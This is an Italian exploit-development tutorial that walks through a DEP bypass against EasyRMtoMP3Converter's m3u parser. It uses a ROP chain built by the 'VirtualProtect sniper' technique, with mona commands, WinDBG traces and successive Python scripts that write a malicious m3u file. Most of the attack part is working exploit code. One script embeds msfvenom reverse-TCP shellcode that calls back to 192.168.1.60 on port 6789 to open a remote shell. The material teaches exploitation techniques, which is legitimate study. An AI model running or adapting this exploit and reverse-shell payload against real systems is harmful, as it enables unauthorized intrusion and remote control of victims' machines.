Secondo articolo della serie DEP Bypass, target: EasyRMtoMP3Converter.
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
EasyRMtoMP3Converter è un programma utilizzato ai tempi di Windows XP per convertire formati audio. In questo caso la vulnerabilità è locale e si trova nel parsing di un file m3u.
In un precedente articolo avevamo già exploitato il programma, ma questa volta alziamo l’asticella e bypasseremo DEP tramite la tecnica VirtualProtect Sniper.
Nello scorso articolo il payload utilizzato per sovrascrivere EIP e redirezionare il flusso è stato il seguente:
#!/usr/bin/python
import struct
file = "crash1.m3u"
f = open(file , "wb")
CRASH_LEN = 30000 # change me
#\x00\x09\x0a
payload = b"A" * 26057
payload += struct.pack("<I",0x1001b058) #PUSH ESP; RET
payload += b"\x90" * 8
payload += b"C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Il problema è che con DEP abilitato non funziona più
Per exploitare con successo l’eseguibile utilizzeremo la tecnica Virtual Protect Sniper, ossia metteremo alcuni dei parametri (quelli statici/senza null byte) già in pila, e useremo alcuni gadget ROP per calcolare gli altri parametri e sovrascriverli.
La tecnica che utilizzeremo è la seguente, grazie a Corelan per l’immagine.
Per prima cosa cerchiamo un RETN che sostituiremo al posto del vecchio PUSH ESP.
!py mona find -type instr -s "ret" -m MSRMfilter03 -cpb "\x00\x09\x0a"
E prendiamo 0x100102DC.
Cerco poi Virtual Protect nello IAT di MSRMfilter03:
Non c’è, ma troviamo VirtualAlloc. Sapendo che abbiamo comunque un puntatore a kernel32.dll, cerchiamo all’interno della sua IAT la differenza tra Virtual Alloc e Virtual Protect, in modo da aggiungere successivamente l’offset.
0:017> ? 68925c90 - 68924da0
Evaluate expression: 3824 = 00000ef0
0:017> ? 77324da0 + ef0
Evaluate expression: 1999789200 = 77325c90
0:017> u 77325c90
KERNEL32!VirtualProtectStub:
77325c90 8bff mov edi,edi
77325c92 55 push ebp
77325c93 8bec mov ebp,esp
77325c95 5d pop ebp
77325c96 ff2544883877 jmp dword ptr [KERNEL32!_imp__VirtualProtect (77388844)]
KERNEL32!AppModelPolicy_GetPolicy_Internal:
77325c9c 8bff mov edi,edi
77325c9e 55 push ebp
77325c9f 8bec mov ebp,esp
Cerco ora i gadget ROP con il seguente comando
!py mona rop -m MSVCRT,ntdll,MSVCIRT,KERNEL32,USER32,MSRMfilter03 -cpb '\x00\x09\x0a'
Cerco poi un modulo RW in MSRMfilter03 con Process Hacker
Verifichiamo con WinDBG che sia sia RW che vuoto:
0:000> dd 0x1006b000-300
1006ad00 00000000 00000000 00000000 00000000
1006ad10 00000000 00000000 00000000 00000000
1006ad20 00000000 00000000 00000000 00000000
1006ad30 00000000 00000000 00000000 00000000
1006ad40 00000000 00000000 00000000 00000000
1006ad50 00000000 00000000 00000000 00000000
1006ad60 00000000 00000000 00000000 00000000
1006ad70 00000000 00000000 00000000 00000000
0:000> !address 1006ad10
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Image
Base Address: 10069000
End Address: 1006b000
Region Size: 00002000 ( 8.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 01000000 MEM_IMAGE
Allocation Base: 10000000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Ottimo, abbiamo tutti i valori statici.
La struttura base della chiamata a VirtualProtect è composta in questo modo:
# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90) # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111) # return address
payload += struct.pack('<L', 0x22222222) # lpAddress
payload += struct.pack('<L', 0x33333333) # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444) # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10) # pOldProtect (any writeable address)
Aggiorno quindi il mio payload con tutte le informazioni apprese finora
#!/usr/bin/python
import struct
file = "crash1.m3u"
f = open(file , "wb")
CRASH_LEN = 30000 # change me
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x09\x0A' EXITFUNC=thread
shellcode = b""
shellcode += b"\xda\xcb\xba\xdd\xd8\x47\xd0\xd9\x74\x24\xf4"
shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x53\x17\x03\x53\x17"
shellcode += b"\x83\x36\x24\xa5\x25\x34\x3d\xa8\xc6\xc4\xbe"
shellcode += b"\xcd\x4f\x21\x8f\xcd\x34\x22\xa0\xfd\x3f\x66"
shellcode += b"\x4d\x75\x6d\x92\xc6\xfb\xba\x95\x6f\xb1\x9c"
shellcode += b"\x98\x70\xea\xdd\xbb\xf2\xf1\x31\x1b\xca\x39"
shellcode += b"\x44\x5a\x0b\x27\xa5\x0e\xc4\x23\x18\xbe\x61"
shellcode += b"\x79\xa1\x35\x39\x6f\xa1\xaa\x8a\x8e\x80\x7d"
shellcode += b"\x80\xc8\x02\x7c\x45\x61\x0b\x66\x8a\x4c\xc5"
shellcode += b"\x1d\x78\x3a\xd4\xf7\xb0\xc3\x7b\x36\x7d\x36"
shellcode += b"\x85\x7f\xba\xa9\xf0\x89\xb8\x54\x03\x4e\xc2"
shellcode += b"\x82\x86\x54\x64\x40\x30\xb0\x94\x85\xa7\x33"
shellcode += b"\x9a\x62\xa3\x1b\xbf\x75\x60\x10\xbb\xfe\x87"
shellcode += b"\xf6\x4d\x44\xac\xd2\x16\x1e\xcd\x43\xf3\xf1"
shellcode += b"\xf2\x93\x5c\xad\x56\xd8\x71\xba\xea\x83\x1d"
shellcode += b"\x0f\xc7\x3b\xde\x07\x50\x48\xec\x88\xca\xc6"
shellcode += b"\x5c\x40\xd5\x11\xa2\x7b\xa1\x8d\x5d\x84\xd2"
shellcode += b"\x84\x99\xd0\x82\xbe\x08\x59\x49\x3e\xb4\x8c"
shellcode += b"\xde\x6e\x1a\x7f\x9f\xde\xda\x2f\x77\x34\xd5"
shellcode += b"\x10\x67\x37\x3f\x39\x02\xc2\xa8\x86\x7b\xcd"
shellcode += b"\x14\x6f\x7e\xcd\x7e\xea\xf7\x2b\x14\xe4\x51"
shellcode += b"\xe4\x81\x9d\xfb\x7e\x33\x61\xd6\xfb\x73\xe9"
shellcode += b"\xd5\xfc\x3a\x1a\x93\xee\xab\xea\xee\x4c\x7d"
shellcode += b"\xf4\xc4\xf8\xe1\x67\x83\xf8\x6c\x94\x1c\xaf"
shellcode += b"\x39\x6a\x55\x25\xd4\xd5\xcf\x5b\x25\x83\x28"
shellcode += b"\xdf\xf2\x70\xb6\xde\x77\xcc\x9c\xf0\x41\xcd"
shellcode += b"\x98\xa4\x1d\x98\x76\x12\xd8\x72\x39\xcc\xb2"
shellcode += b"\x29\x93\x98\x43\x02\x24\xde\x4b\x4f\xd2\x3e"
shellcode += b"\xfd\x26\xa3\x41\x32\xaf\x23\x3a\x2e\x4f\xcb"
shellcode += b"\x91\xea\x6f\x2e\x33\x07\x18\xf7\xd6\xaa\x45"
shellcode += b"\x08\x0d\xe8\x73\x8b\xa7\x91\x87\x93\xc2\x94"
shellcode += b"\xcc\x13\x3f\xe5\x5d\xf6\x3f\x5a\x5d\xd3"
rop_nop = struct.pack("<I",0x100102DC) # RET from MSRMfilter03
#\x00\x09\x0a
payload = b"A" * 26057
payload += rop_nop # EIP
payload += b"\x90" * 4 #padding
# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90) # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111) # return address (address of shellcode)
payload += struct.pack('<L', 0x22222222) # lpAddress
payload += struct.pack('<L', 0x33333333) # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444) # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10) # pOldProtect (any writeable address)
payload += b"\x90" * 8
payload += b"\x90" * 250 # compensate
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Ho inserito il padding di 250 per compensare i successivi gadget ROP che andremo ad inserire.
Gli step della tecnica sniper con VirtualProtect saranno i seguenti:
Non fatevi scoraggiare, è più semplice a farsi che a dirsi!
Tra i gadget trovati prima, ne cerchiamo un paio che salvino il valore di ESP.
0x77371b2e # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] **
0x771cb29a # MOV EDI,ESI # DEC ECX # RETN 0x0C **
0x75bebe2b # MOV EAX,ESI # POP ESI # RETN ** [MSVCRT.dll] **
In questo modo ESP viene salvato sia in EDI che in EAX.
Ci basta trovare un ADD ESP,0x
0x100201a3 # ADD ESP,1C # RETN ** [MSRMfilter03.dll] **
Aggiornando lo script ci troviamo in questa situazione
#!/usr/bin/python
import struct
file = "crash1.m3u"
f = open(file , "wb")
CRASH_LEN = 30000 # change me
shellcode = b""
rop_nop = struct.pack("<I",0x100102DC) # RET from MSRMfilter03
#\x00\x09\x0a
payload = b"A" * 26057
payload += rop_nop # EIP
payload += b"\x90" * 4 #padding
#Salvo ESP in EDI ed EAX
payload += struct.pack("<I",0x77371b2e) # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] **
payload += struct.pack("<I",0x771cb29a) # MOV EDI,ESI # DEC ECX # RETN 0x0C **
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += struct.pack("<I",0x75bebe2b) # MOV EAX,ESI # POP ESI # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ESI
#jump over VirtualProtect
payload += struct.pack("<I",0x100201a3) # ADD ESP,1C # RETN ** [MSRMfilter03.dll] **
# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90) # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111) # return address
payload += struct.pack('<L', 0x22222222) # lpAddress
payload += struct.pack('<L', 0x33333333) # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444) # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10) # pOldProtect (any writeable address)
payload += b"\x90" * 4
payload += b"\x47"*4 # atterro qui
payload += b"\x90" * 250 # compensate
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Ricordiamoci di identificare il punto preciso in cui atterriamo con ADD ESP,1C perchè sarà il punto in cui la chain ROP inizierà. Per confermare vediamo su WinDBG se atterriamo su 0x47474747
Ora dobbiamo portare uno dei registri in cui ho salvato ESP a valere come il return address. Prendo EDI, che sta a 36 bytes di distanza.
0:000> ? 0011f458 - edi
Evaluate expression: 36 = 00000024
0:000> ? edi + 24
Evaluate expression: 1176664 = 0011f458
0:000> dd 0011f458 L1
0011f458 11111111
Lo incrementiamo con il gadget # INC EDI # RETN
….
payload += b"\x90" * 4
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += struct.pack('<L',0x7752e7e0) # INC EDI # RETN ** [ntdll.dll] **
payload += b"\x90" * 250 # compensate
….
Vediamo con WinDBG
0:000>
eax=0011f434 ebx=00124a00 ecx=01bbffff edx=01bc0000 esi=41414141 edi=0011f458
eip=7752e7e1 esp=0011f500 ebp=001b4db8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
ntdll!Feature_20H2_Enablement__private_descriptor+0x4929:
7752e7e1 c3 ret
0:000> dd edi L1
0011f458 11111111
Ora dobbiamo fare la stessa cosa ma con lpAddress. In questo caso usiamo EAX
…
#EAX will point to lpAddress
payload += struct.pack('<L',0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += struct.pack('<L',0x771c28ee) # INC EAX # RETN ** [USER32.dll] **
payload += b"\x90" * 250 # compensate
….
Vediamo con WinDBG se è tutto ok:
0:000> p
eax=0011f45b ebx=00124a00 ecx=01a9ffff edx=01aa0000 esi=41414141 edi=0011f458
eip=771c28ee esp=0011f528 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
USER32!_GetChildControl+0x1c9c1:
771c28ee 40 inc eax
0:000>
eax=0011f45c ebx=00124a00 ecx=01a9ffff edx=01aa0000 esi=41414141 edi=0011f458
eip=771c28ef esp=0011f528 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
USER32!_GetChildControl+0x1c9c2:
771c28ef c3 ret
0:000> dd eax L1
0011f45c 22222222
Ottimo, ora sia EAX che EDI puntanto ai valori che vogliamo modificare.
Non ci resta che cercare un registro che punti al nostro shellcode ed inserire il suo valore al posto dei puntatori al return address e lpAddress.
Per prima caso salvo EAX in ECX, per tenere il puntatore a lpAddress.
0x774771b2 # MOV ECX,EAX # MOV EAX,ECX # POP EBP # RETN ** [ntdll.dll] **
Successivamente incremento EAX in modo che punti il più possibile vicino allo shellcode
0x75be5de6 # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
0x75be5de6 # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
Aggiorno lo script di conseguenza
.....
#EAX will point to an address equal or inside NOP sled
#copio EAX in ECX per salvarne il valore just in case
payload += struct.pack('<L',0x774771b2) # MOV ECX,EAX # MOV EAX,ECX # POP EBP # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x75be5de6) # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
payload += struct.pack('<L',0x75be5de6) # ADD EAX,0C8 # RETN ** [MSVCRT.dll] **
payload += b"\x90" * 250 # compensate
payload += shellcode
......
Vediamo con WinDBG se è tutto ok
0:000> p
eax=0011f524 ebx=00124a00 ecx=0011f45c edx=01aa0000 esi=41414141 edi=0011f458
eip=75be5de6 esp=0011f538 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200216
MSVCRT!__p__pctype+0x26:
75be5de6 05c8000000 add eax,0C8h
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01aa0000 esi=41414141 edi=0011f458
eip=75be5deb esp=0011f538 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MSVCRT!__p__pctype+0x2b:
75be5deb c3 ret
0:000> dd eax
0011f5ec 90909090 90909090 90909090 90909090
0011f5fc 90909090 90909090 90909090 90909090
0011f60c 90909090 90909090 90909090 90909090
0011f61c 90909090 90909090 90909090 90909090
0011f62c 90909090 43439090 43434343 43434343
0011f63c 43434343 43434343 43434343 43434343
0011f64c 43434343 43434343 43434343 43434343
0011f65c 43434343 43434343 43434343 43434343
Ora dobbiamo sostituire i puntatori di ECX ed EDI con il valore di EAX. Al momento abbiamo:
Ciò che dobbiamo fare è
EAX -> [EDI]
EAX -> [ECX]
E lo facciamo con le seguenti istruzioni
0x77189c93 # MOV DWORD PTR [EDI],EAX # POP EDI # POP ESI # RETN
0x1002b67d # MOV DWORD PTR [ECX],EAX # RETN ** [MSRMfilter03.dll] **
Aggiorno lo script
.....
#EAX --> [EDI]
payload += struct.pack("<I",0x77189c93) # MOV DWORD PTR [EDI],EAX # POP EDI # POP ESI # RETN ** [USER32.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop edi
payload += struct.pack("<I",0x41414141) # padding for pop esi
#EAX -> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN ** [MSRMfilter03.dll] **
payload += b"\x90" * 250 # compensate
payload += shellcode
.....
Verifichiamo con WinDBG se è tutto ok
Breakpoint 0 hit
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=0011f458
eip=77189c93 esp=0011f53c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
USER32!CvtDec+0x1e:
77189c93 8907 mov dword ptr [edi],eax ds:0023:0011f458=11111111
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=0011f458
eip=77189c95 esp=0011f53c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
USER32!CvtDec+0x20:
77189c95 5f pop edi
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=77189c96 esp=0011f540 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
USER32!CvtDec+0x21:
77189c96 5e pop esi
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=77189c97 esp=0011f544 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
USER32!CvtDec+0x22:
77189c97 c3 ret
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=1002b67d esp=0011f548 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MSRMfilter03!Filter_Reset+0x21cad:
1002b67d 8901 mov dword ptr [ecx],eax ds:0023:0011f45c=22222222
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=1002b67f esp=0011f548 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MSRMfilter03!Filter_Reset+0x21caf:
1002b67f c3 ret
Ed ecco che abbiamo sostituito i placeholder 0x11111111 e 0x22222222 con il valore che volevamo!
Poiché ECX punta a lpAddress lo incremento di quattro per puntare a nSize con il seguente gadget
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
Uso poi EAX per avere il valore di 0x600
0x10025b9c # XOR EAX,EAX # RETN ** [MSRMfilter03.dll] **
0x1002dc4c # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
0x1002dc4c # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
0x1002dc4c # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
0x1002dc4c # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
0x1002dc4c # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
0x1002dc4c # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
E con un # MOV DWORD PTR [ECX],EAX salvo EAX nel puntatore ad ECX.
0x1002b67d # MOV DWORD PTR [ECX],EAX
Aggiorno lo script inserendo anche il padding
.....
#dwSize
payload += struct.pack("<I",0x10025b9c) # XOR EAX,EAX # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c) # ADD EAX,100 # POP EBP # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#aumento ecx di 40 per puntare a dwsize
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN ** [MSRMfilter03.dll] **
payload += b"\x90" * 250 # compensate
payload += shellcode
.....
Ed ecco che il valore è stato modificato
L’operazione è pressoché la stessa. Incremento ECX di 4
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
0x75bc0778 # INC ECX # RETN ** [MSVCRT.dll] **
Azzero EAX e gli aggiungo 0x40
0x10025b9c # XOR EAX,EAX # RETN ** [MSRMfilter03.dll] **
0x75be28d8 # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
0x75be28d8 # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
Aggiorno lo script con il padding
....
#flNewProtect
payload += struct.pack("<I",0x10025b9c) # XOR EAX,EAX # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x75be28d8) # ADD EAX,20 # POP EBP # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#incremento di 4 ecx
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
payload += struct.pack("<I",0x75bc0778) # INC ECX # RETN ** [MSVCRT.dll] **
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN ** [MSRMfilter03.dll] **
payload += b"\x90" * 250 # compensate
payload += shellcode
.....
Guardando i valori sembra che tutto sia allineato e pronto per essere eseguito.
Ora basta cercare un registro che punti vicino a VirtualProtect, copiarlo in EAX, aggiungere un ADD/DEC per farlo puntare preciso a VirtualProtect e poi copiare quel valore in ESP. In questo modo lo stack pointer punterà preciso alla funzione e la eseguirà.
Con WinDBG vediamo l’indirizzo di VirtualProtect e un registro vicino a lui
0:000> u poi(0011f454)
KERNEL32!VirtualProtectStub:
77325c90 8bff mov edi,edi
77325c92 55 push ebp
77325c93 8bec mov ebp,esp
77325c95 5d pop ebp
77325c96 ff2544883877 jmp dword ptr [KERNEL32!_imp__VirtualProtect (77388844)]
KERNEL32!AppModelPolicy_GetPolicy_Internal:
77325c9c 8bff mov edi,edi
77325c9e 55 push ebp
77325c9f 8bec mov ebp,esp
0:000> r
eax=00000040 ebx=00124a00 ecx=0011f464 edx=001f0000 esi=41414141 edi=41414141
eip=1002b67f esp=0011f5b8 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MSRMfilter03!Filter_Reset+0x21caf:
1002b67f c3 ret
0:000> ? ecx - 0011f454
Evaluate expression: 16 = 00000010
Salviamo ECX in EAX, lo decrementiamo di 16 in modo che punti a VirtualProtect e poi usiamo l’operazione di XCHG per sostituirlo ad ESP
....
#ESP to VirtualProtect
payload += struct.pack("<I",0x100219f9) # MOV EAX,ECX # RETN ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x775157d7) # DEC EAX # RETN ** [ntdll.dll] **
payload += struct.pack("<I",0x1002be41) # XCHG EAX,ESP # RETN ** [MSRMfilter03.dll] **
payload += b"\x90" * 250 # compensate
payload += shellcode
.....
